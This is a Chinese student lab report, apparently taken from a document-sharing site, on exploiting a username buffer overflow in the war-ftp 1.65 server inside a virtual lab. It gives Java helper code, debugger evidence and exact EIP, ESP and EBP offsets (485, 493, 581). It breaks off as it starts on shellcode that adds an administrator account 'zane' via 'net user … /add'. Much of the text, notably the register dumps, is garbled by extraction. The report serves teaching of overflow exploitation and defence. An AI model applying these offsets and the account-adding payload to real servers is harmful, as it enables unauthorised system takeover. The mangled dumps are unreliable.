《基于war-ftp1.65的缓冲区溢出攻击.docx》由会员分享,可在线阅读,更多相关《基于war-ftp1.65的缓冲区溢出攻击.docx(9页珍藏版)》请在优知文库上搜索。
1、XX大学实验报告姓名XX学号XX实验组实验时间2023/12/25指导教师XX成绩实验工程名称缓冲区溢出攻击实验实验目的1掌握缓冲区溢出的原理缓冲区指程序运行期间,在内存中分配的一个连续的区域,用于保存包括字符数组在内的各种数据类型。溢出,指所填充的数据超出了原有的缓冲区边界,并非法占据了另一段内存区域。缓冲区溢出,即由于填充数据越界而导致原有流程的改变,攻击者借此精心构造填充数据,让程序转而执行特殊的代码,最终获取控制权。2掌握常用的缓冲区溢出方法缓冲区溢出攻击的目的在于取得程序的控制权,为此,攻击者必须到达如下的两个目标:在程序的地址空间里安排适当的代码:通过适当的初始化存放器和内存,让程
2、序跳转到入侵者安排的地址空间执行。根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法;在程序的地址空间里安排适当的代码的方法:控制程序转移到攻击代码的方法。3理解缓冲区溢出的危害性缓冲区溢出的危害性具有破坏性与隐蔽性的特点:破坏性表达在易使效劳程序停止运行,效劳器死机甚至删除效劳器上的数据或者可以执入并运行攻击代码。隐蔽性表达在软件漏洞难以防止,缓冲攻击的SheIlCode的执行不易被发觉,攻击的随机性及不可预测性。4掌握防范和防止缓冲区溢出攻击的方法通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;强制编写正确的代码;利用编译器的边界检查
3、来实现缓冲区的保护;间接的方法是在程序指针失效前进行完整性检查等。实验环境windows10(缓冲区溢出攻击端),windowsxpHome(缓冲区溢出被攻击端)编程工具:CodebIOCkS(用于发送exploit代码),exlipse(用来写测试代码字符和转换代码字符)缓冲区漏洞软件:war-ftp1.65系统程序调试工具:OIIydbg网络环境:使用Vmare承载WindoWsxp,windowlO与XP在同一网段下,可以进行相互通信学院:计算机科学与技术专业:软件工程班级:XX实 验 内 容实挈;数 据当输入用户名的长度超过了 485个字符时,系统崩溃: (崩溃时):直接处于卡死状态1
4、 .分析WaLftPvl.65的基于用户名的缓冲溢出漏洞实践课件上己指出:向效劳器发送超过480字节的用户名可以触发漏洞(即使用命令USER1ongStringrn),溢出之后,ESP中的内容包含了IongString中的局部内容。需要对其进行验证分析。2 .分析War-ftpvl.65的堆栈结构即分析堆栈中的EIP、ESP、EBP等的精确位置。3 .构造针对War-ftpvl.65的exploit根据上述的分析结果,参照实践课件的例子,从网上(主要是metasploit)获取ShelICOde,构造exploit。1验证War-ftpV1.65基于用户名的缓冲溢出漏洞在WindowsXP中使
5、用OIldbg装载war-ftp1.65.degugrun.允许匿名登录:在物理主机使用Cuteftp登录,用户名使用依次增加的“AAA,当用户名长度超过480时,war-ftp1.65出现异常甚至崩溃退出。(正常情况):此时的E1P,EBP,ESP如下列图所示:gstri*u,EQxECXEDXEBXESPEBPESIEDIEIPC0P1R120S0T0D000EFLSTSTlST2ST3ST4STSST6ST700000001000000010000000000B0000REFDS8ASCIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0QEFD80SCIlAQAAAAA
6、AAAAAAAAAAAAAAAAqAAAAAQHAi7C80932Ekerne132GetTickCount。0AEFES8ASCIIAAAAAAAAAAAAAAQAAAAAAAAAAAAARA41414141ES。02332bit(FFFFFFFF)CS01B32bit(FFFFFFFF)SS002332bit0(FFFFFFFF)DS02332bit(FFFFFFFF)FS03B32bit7FFDE00(FFF)GS00NULL1.astErrERROR_SUCCESS(00000000)0001216(No,NB,NE,A,NS,PE,GE,G)62ty-?FFFF00FFFFFF00F
7、FFFFFempty-?FFFF0O00000000enpty-?FFFF0000FEOFE00FEenpty-?FFFF0000FE0FE00FEempty-?FFFFFFFFFFOFFFFFFenpty1.0000000000000O000empty1.00000000000000000eMQty1.000000000000000003210ESP0ZDIFSTFCW400Cond100Err00000000(EQ)27FPrec任喇53HaSkIlllll以上证据表示,War-ftp确实存在登录的缓冲区漏洞。2分析War-ftp1.65的堆栈结构由于堆栈Ret里的地址被赋给EIP,CPU
8、继续执行EIP所指向的命令,即EIP存放器的内容表示将要执行的下一条指令地址,所以需要定位RET的精确位置。为了把ShellCode放入预期的EIP指向的ESP或EBP,还需要定位ESP、EBP的精确位置。使用java程序生成长度为1000的不重复的字符串。publicstaticStringgenarateString(intlen)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHI3KLMNOPQRSTUVWXYZM;StringBuffersb=newStringBuffer();Randomrandom=newRand
9、om();for(inti=0;ilen;i+)sb.append(string.charAt(random.nextInt(string.length();returnsb.toString();|HXCDXBSPBP/ Eeeeeeee00000001 00000001 00000000 00000000 0REFD58 00REFDB8 7C80932E 00REFE58随后将生成的字符串使用cuteftp发送到被攻击主机,得到关于EIP,EBP,ESP的偏移位置如下:ASCIIMqFjuV7CuhVHM1PF4zzUU1H6CJ8QWCG02V41CASCIINUofdiurGbNqt
10、hfCZV5AAItOGLXJTfkerne132.GetTIckCountASCIIM6ZniolUqGHInGKzJjIpyrZaBUL3JejPOPyES002332b it0(FFFFFFFF)CSOOlB32b it0(FFFFFFFF)SS002332b it0(FFFFFFFF)DS0。2332b it(FFFFFFFF)FS003B32b it7FFDE00(FFF)GS凸代NULLLaSt 热ERRoR-SUCCESS (000000)0010216 (NO,NB,NE,A,NS,IPE,GEG)empty-28FFFF00700070007070empty-9FFFF00F
11、000F000F0F0empty-7FFFF0000003800480065enpty-FFFF00000078009BD9empty-3/FFFF0F7FA3E68F92ACE9enpty1.00000000006rpty1.0000000000000000800erpty1.000000000000003 2 10IESPUOZDI4000Cond1 0 eI 0 Err i0 0 0 0 0 000027FPrecNEAR.53 MaskIllli1(EQ)81234567 Tw Tttttttt S CSsssssss FfEIP:0x540x360x370x48对应与H76T在登录用
12、户字符串的485个位置开始ESP:qFju在登录用户字符串的493个位置开始EBP:NUof在登录用户字符串的581个位置开始结果说明,EIP指向第485位置(从0开始计数),ESP指向第493位置,EBP指向第581位置。从而可以得到war-ftp1.65的堆栈结构图如下:嘱免”一4byte RET ,SgeI jSSbuesESP.EBPdEsP倩生量 为 493hyt+EBPfiVft. 为 Stlbyt,产生随机不重复字符串生成代码和16进制转换代码:safe;importjava.util.Random;*Helloworld!publicclassApppublicstaticvo
13、idmain(Stringargs)/for(inti=0;i490;i+)/System.out.print(八);/System.out.println();/System.out.println(genarateString(l000);asc(newint0x54,0x36,0x37,0x48);publicstaticStringgenaratcString(intlcn)Stringstring=M0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYStringBuffersb=newStringBufTerO;
14、Randomrandom=newRandom();for(inti=0;ilcn;i+)sb.append(sting.charAt(random.nextlnt(string.length();returnsb.toString();publicstaticvoidasc(intarg)System.out.println();System.out.print(char)ag3);System.out.print(char)arg2);System.out.print(char)arg1);System.out.print(char)arg0);3 获取shellcode通过搜索引擎搜索获得了一个添加用户并改变权限的code/shelIcode,添加用户名为Zane,密码为enaz的管理员用户:netuserzaneenaz/add*Win32addu